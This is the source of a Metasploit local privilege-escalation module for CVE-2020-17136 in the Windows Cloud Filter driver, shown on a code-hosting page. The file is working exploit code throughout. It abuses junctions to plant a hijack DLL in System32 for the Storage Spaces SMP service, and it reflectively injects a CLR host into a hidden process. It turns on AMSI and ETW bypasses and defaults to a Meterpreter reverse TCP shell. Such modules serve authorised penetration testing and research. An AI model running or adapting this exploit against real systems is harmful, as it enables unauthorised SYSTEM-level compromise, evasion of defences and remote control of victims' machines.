Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/cve_2020_17136.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6include Exploit::EXE7include Msf::Post::File8include Msf::Post::Windows::Priv9include Msf::Post::Windows::Version10include Msf::Post::Windows::Process11include Msf::Post::Windows::ReflectiveDLLInjection12include Msf::Post::Windows::Dotnet13include Msf::Post::Windows::Services14include Msf::Post::Windows::FileSystem15include Msf::Exploit::FileDropper16prepend Msf::Exploit::Remote::AutoCheck1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP',23'Description' => %q{24The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December252020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when26calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders()27function with attacker controlled input. This meant that files were created with28KernelMode permissions, thereby bypassing any security checks that would otherwise29prevent a normal user from being able to create files in directories30they don't have permissions to create files in.3132This module abuses this vulnerability to perform a DLL hijacking attack against the33Microsoft Storage Spaces SMP service, which grants the attacker code execution as the34NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one35of the Meterpreter payloads, as doing so will allow them to subsequently escalate their36new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command37to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.38},39'License' => MSF_LICENSE,40'Author' => [41'James Foreshaw', # Vulnerability discovery and PoC creator42'Grant Willcox' # Metasploit module43],44'Platform' => ['win'],45'SessionTypes' => ['meterpreter'],46'Privileged' => true,47'Arch' => [ARCH_X64],48'Targets' => [49[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ],50],51'DefaultTarget' => 0,52'DisclosureDate' => '2020-03-10',53'References' => [54['CVE', '2020-17136'],55['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'],56['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136']57],58'Notes' => {59'SideEffects' => [ ARTIFACTS_ON_DISK ],60'Reliability' => [ REPEATABLE_SESSION ],61'Stability' => [ CRASH_SAFE ]62},63'DefaultOptions' => {64'EXITFUNC' => 'process',65'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'66},67'Compat' => {68'Meterpreter' => {69'Commands' => %w[70stdapi_sys_process_attach71stdapi_sys_process_execute72stdapi_sys_process_get_processes73stdapi_sys_process_getpid74stdapi_sys_process_kill75stdapi_sys_process_memory_allocate76stdapi_sys_process_memory_write77stdapi_sys_process_thread_create78]79}80}81)82)83register_options(84[85OptBool.new('AMSIBYPASS', [true, 'Enable Amsi bypass', true]),86OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]),87OptInt.new('WAIT', [false, 'Time in seconds to wait', 5])88], self.class89)9091register_advanced_options(92[93OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])94]95)96end9798def check_requirements(clr_req, installed_dotnet_versions)99installed_dotnet_versions.each do |fi|100if clr_req == 'v4.0.30319'101if fi[0] == '4'102vprint_status('Requirements ok')103return true104end105elsif fi[0] == '3'106vprint_status('Requirements ok')107return true108end109end110print_error('Required dotnet version not present')111false112end113114def check115if session.platform != 'windows'116# Non-Windows systems are definitely not affected.117return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')118end119120version = get_version_info121122# Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/123if version.build_number == Msf::WindowsVersion::Win10_20H2 && version.revision_number.between?(0, 684)124return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!')125elsif version.build_number == Msf::WindowsVersion::Win10_2004 && version.revision_number.between?(0, 684)126return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!')127elsif version.build_number == Msf::WindowsVersion::Win10_1909 && version.revision_number.between?(0, 1255)128return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!')129elsif version.build_number == Msf::WindowsVersion::Win10_1903 && version.revision_number.between?(0, 1255)130return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!')131elsif version.build_number == Msf::WindowsVersion::Win10_1809 && version.revision_number.between?(0, 1636)132return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')133elsif version.build_number == Msf::WindowsVersion::Win10_1803 && version.revision_number.between?(0, 1901)134return CheckCode::Appears('A vulnerable Windows 10 v1803 build was detected!')135else136return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')137end138end139140def exploit141if sysinfo['Architecture'] != ARCH_X64142fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!')143elsif session.arch != ARCH_X64144fail_with(Failure::NoTarget, 'Sorry, WOW64 is not supported at this time!')145end146dir_junct_path = 'C:\\Windows\\Temp'147intermediate_dir = rand_text_alpha(10).to_s148junction_dir = rand_text_alpha(10).to_s149path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}"150151mkdir(path_to_intermediate_dir.to_s)152if !directory?(path_to_intermediate_dir.to_s)153fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')154end155register_dir_for_cleanup(path_to_intermediate_dir.to_s)156157mkdir("#{path_to_intermediate_dir}\\#{junction_dir}")158if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")159fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')160end161162mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\')163if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")164fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')165end166167exe_path = ::File.expand_path(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-17136', 'cloudFilterEOP.exe'))168unless File.file?(exe_path)169fail_with(Failure::BadConfig, 'Assembly not found')170end171installed_dotnet_versions = get_dotnet_versions172vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")173if installed_dotnet_versions == []174fail_with(Failure::BadConfig, 'Target has no .NET framework installed')175end176if check_requirements('v4.0.30319', installed_dotnet_versions) == false177fail_with(Failure::BadConfig, 'CLR required for assembly not installed')178end179payload_path = "C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll"180print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...")181write_file(payload_path, generate_payload_dll)182register_file_for_cleanup(payload_path)183execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #{payload_path}")184service_start('smphost')185register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll')186sleep(3)187delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle)188end189190def pid_exists(pid)191mypid = client.sys.process.getpid.to_i192193if pid == mypid194print_bad('Cannot select the current process as the injection target')195return false196end197198host_processes = client.sys.process.get_processes199if host_processes.empty?200print_bad('No running processes found on the target host.')201return false202end203204theprocess = host_processes.find { |x| x['pid'] == pid }205206!theprocess.nil?207end208209def launch_process210process_name = 'notepad.exe'211print_status("Launching #{process_name} to host CLR...")212213process = client.sys.process.execute(process_name, nil, {214'Channelized' => true,215'Hidden' => true,216'UseThreadToken' => true,217'ParentPid' => 0218})219hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)220print_good("Process #{hprocess.pid} launched.")221[process, hprocess]222end223224def inject_hostclr_dll(process)225print_status("Reflectively injecting the Host DLL into #{process.pid}..")226227library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')228library_path = ::File.expand_path(library_path)229230print_status("Injecting Host into #{process.pid}...")231exploit_mem, offset = inject_dll_into_process(process, library_path)232[exploit_mem, offset]233end234235def execute_assembly(exe_path, exe_args)236if sysinfo.nil?237fail_with(Failure::BadConfig, 'Session invalid')238else239print_status("Running module against #{sysinfo['Computer']}")240end241if datastore['WAIT'].zero?242print_warning('Output unavailable as wait time is 0')243end244245process, hprocess = launch_process246exploit_mem, offset = inject_hostclr_dll(hprocess)247248assembly_mem = copy_assembly(exe_path, hprocess, exe_args)249250print_status('Executing...')251hprocess.thread.create(exploit_mem + offset, assembly_mem)252253if datastore['WAIT'].positive?254sleep(datastore['WAIT'])255read_output(process)256end257258if datastore['KILL']259print_good("Killing process #{hprocess.pid}")260client.sys.process.kill(hprocess.pid)261end262263print_good('Execution finished.')264end265266def copy_assembly(exe_path, process, exe_args)267print_status("Host injected. Copy assembly into #{process.pid}...")268int_param_size = 8269sign_flag_size = 1270amsi_flag_size = 1271etw_flag_size = 1272assembly_size = File.size(exe_path)273274cln_params = ''275cln_params << exe_args276cln_params << "\x00"277278payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size279payload_size += assembly_size + cln_params.length280assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)281params = [282assembly_size,283cln_params.length,284datastore['AMSIBYPASS'] ? 1 : 0,285datastore['ETWBYPASS'] ? 1 : 0,2862287].pack('IICCC')288params += cln_params289290process.memory.write(assembly_mem, params + File.read(exe_path, mode: 'rb'))291print_status('Assembly copied.')292assembly_mem293end294295def read_output(process)296print_status('Start reading output')297old_timeout = client.response_timeout298client.response_timeout = 5299300begin301loop do302output = process.channel.read303if !output.nil? && !output.empty?304output.split("\n").each { |x| print_good(x) }305end306break if output.nil? || output.empty?307end308rescue Rex::TimeoutError309vprint_warning('Time out exception: wait limit exceeded (5 sec)')310rescue ::StandardError => e311print_error("Exception: #{e.inspect}")312end313314client.response_timeout = old_timeout315print_status('End output.')316end317end318319320